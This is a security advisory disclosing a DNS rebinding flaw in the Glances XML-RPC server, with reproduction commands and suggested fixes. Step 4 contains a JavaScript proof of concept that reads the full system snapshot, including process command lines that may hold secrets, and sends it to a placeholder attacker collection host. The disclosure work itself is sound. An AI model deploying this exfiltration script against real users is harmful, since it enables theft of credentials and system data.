GHSA-w856-8p3r-p338

### Summary The Glances XML-RPC server (`glances -s`, implemented in `glances/server.py`) does not validate the HTTP `Host` header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added `TrustedHostMiddleware` to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no `allowed-hosts` configuration key. Combined with the unrestricted `Access-Control-Allow-Origin: *` header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser. --- ### Details **Affected component:** `glances/server.py` — `GlancesXMLRPCHandler` / `GlancesXMLRPCServer` **Direct URL (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py Contrast — patched backends: - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py The `GlancesXMLRPCHandler` class inherits from Python's `xmlrpc.server.SimpleXMLRPCRequestHandler` and does not override `parse_request()` to inspect or validate the `Host` header. Contrast this with the two other Glances server backends, both of which received host-validation hardening: **REST / WebUI server** (`glances/outputs/glances_restful_api.py`) — patched in 4.5.2: ```python # glances_restful_api.py if self.webui_allowed_hosts: self._app.add_middleware( TrustedHostMiddleware, allowed_hosts=self.webui_allowed_hosts, ) ``` **MCP server** (`glances/outputs/glances_mcp.py`) — protected since 4.5.1: ```python # glances_mcp.py TransportSecuritySettings( allowed_hosts=self.mcp_allowed_hosts, ... ) ``` **XML-RPC server** (`glances/server.py`) — no equivalent exists: ```python class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI): # No Host header check; any Host value is accepted rpc_paths = ('/RPC2',) ... ``` There is no `xmlrpc_allowed_hosts` (or equivalent) configuration key in `glances.conf`, and the server ignores the `Host` header on every incoming request. **Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). Test results: | Server type | Host header | HTTP status | Data returned | |-------------|----------------------|-------------|---------------| | XML-RPC | `attacker.example.com` | 200 OK | Yes — VULNERABLE | | XML-RPC | `127.0.0.1:61209` | 200 OK | Yes (baseline) | | REST API | `attacker.example.com` | 400 Bad Request | No — patched | --- ### PoC **Attack overview** DNS rebinding breaks the browser Same-Origin Policy by making `attacker.example.com` temporarily resolve to the target's IP address (e.g. `127.0.0.1`). From that point the victim's browser treats the attacker's page as same-origin with `http://attacker.example.com:61209/RPC2`, forwarding the attacker-controlled `Host` header to the local Glances XML-RPC server, which accepts it without validation. **Special configuration required** No special `glances.conf` settings are needed. The vulnerability is present in a default Glances XML-RPC server start (`glances -s`). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (`pip install "glances[web]"`). --- **Step 1 — Start the Glances XML-RPC server** ```bash glances -s -p 61209 ``` **Step 2 — Confirm the server accepts an arbitrary Host header** ```bash curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \ -H "Host: attacker.example.com" \ -H "Content-Type: text/plain" \ -d '<?xml version="1.0"?> <methodCall><methodName>getAllPlugins</methodName></methodCall>' ``` Expected result (secure): `HTTP/1.0 400 Bad Request` Actual result: `HTTP/1.0 200 OK` with full XML-RPC response body. **Step 3 — Confirm the REST API is patched (comparison)** ```bash # Start REST server with the same machine as allowed host: glances -w -p 61210 --webui-port 61210 curl -s -o /dev/null -w "%{http_code}\n" \ "http://127.0.0.1:61210/api/4/status" \ -H "Host: attacker.example.com" # Returns: 400 (TrustedHostMiddleware rejects the spoofed Host) ``` **Step 4 — Full DNS rebinding exploitation (real-world path)** 1. Attacker registers `attacker.example.com` with a low-TTL (1 second) DNS record initially pointing to their own server IP. 2. Attacker serves the following page from `http://attacker.example.com`: ```html <script> async function exfil() { const payload = `<?xml version="1.0"?> <methodCall><methodName>getAll</methodName></methodCall>`; try { const r = await fetch('http://attacker.example.com:61209/RPC2', { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: payload, }); const data = await r.text(); // data contains: hostname, OS, all processes with cmd-lines, network, disk await fetch('https://collect.attacker.example.com/?d=' + btoa(data)); } catch (_) {} } // Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil() setTimeout(exfil, 5000); </script> ``` 3. Victim visits `http://attacker.example.com` in their browser. 4. After TTL expiry, the attacker's DNS server responds with `127.0.0.1`. 5. The browser's `fetch()` call is sent to `127.0.0.1:61209` with `Host: attacker.example.com`; the XML-RPC server accepts it. 6. The `Access-Control-Allow-Origin: *` header (see companion advisory) allows the browser to read the response body. 7. The attacker receives the complete system monitoring snapshot. Tools that simplify DNS rebinding for research/testing include: - [Singularity](https://github.com/nccgroup/singularity) - [rbndr.us](https://rbndr.us) **Step 5 — Confirm absence of Host check in source** ```python import sys, inspect sys.path.insert(0, '/path/to/glances') # adjust to local clone import glances.server as s src = inspect.getsource(s.GlancesXMLRPCHandler) print('Host check present:', 'allowed_hosts' in src or 'Host' in src) # Host check present: False ``` --- ### Impact **Vulnerability type:** Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350) **Who is impacted:** Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where: - Glances is bound to `127.0.0.1` (loopback) — DNS rebinding bypasses the loopback restriction. - Glances is bound to a LAN IP — any browser on that LAN is at risk. - Glances is exposed on a public IP — any browser on the internet is at risk. **Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata. **Impact:** - **Confidentiality:** High — complete system monitoring data readable remotely without credentials. - **Integrity:** None — read-only XML-RPC API. - **Availability:** None — no denial-of-service component. The attack is amplified by the companion CORS wildcard issue (vuln03): without `Access-Control-Allow-Origin: *`, the browser would still block the response read. Both issues must be fixed together for effective remediation. --- ### Suggested Fix **Option 1 — Add Host validation to the XML-RPC handler (preferred)** Add a `webui_allowed_hosts` (or new `xmlrpc_allowed_hosts`) configuration key, and validate the `Host` header in `GlancesXMLRPCHandler`: ```python # server.py class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI): allowed_hosts: list[str] = [] # populated from config def parse_request(self) -> bool: if not super().parse_request(): return False if self.allowed_hosts: host = self.headers.get('Host', '').split(':')[0] if host not in self.allowed_hosts: self.send_error(400, 'Bad Request: invalid Host header') return False return True ``` Populate `allowed_hosts` from the existing `webui_allowed_hosts` config key (already used by the REST server), so operators have a single knob. **Option 2 — Deprecate and remove the XML-RPC server** The XML-RPC server is a legacy interface. The REST API (`glances -w`) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely. --- ### Responsible Disclosure The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. --- ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. ---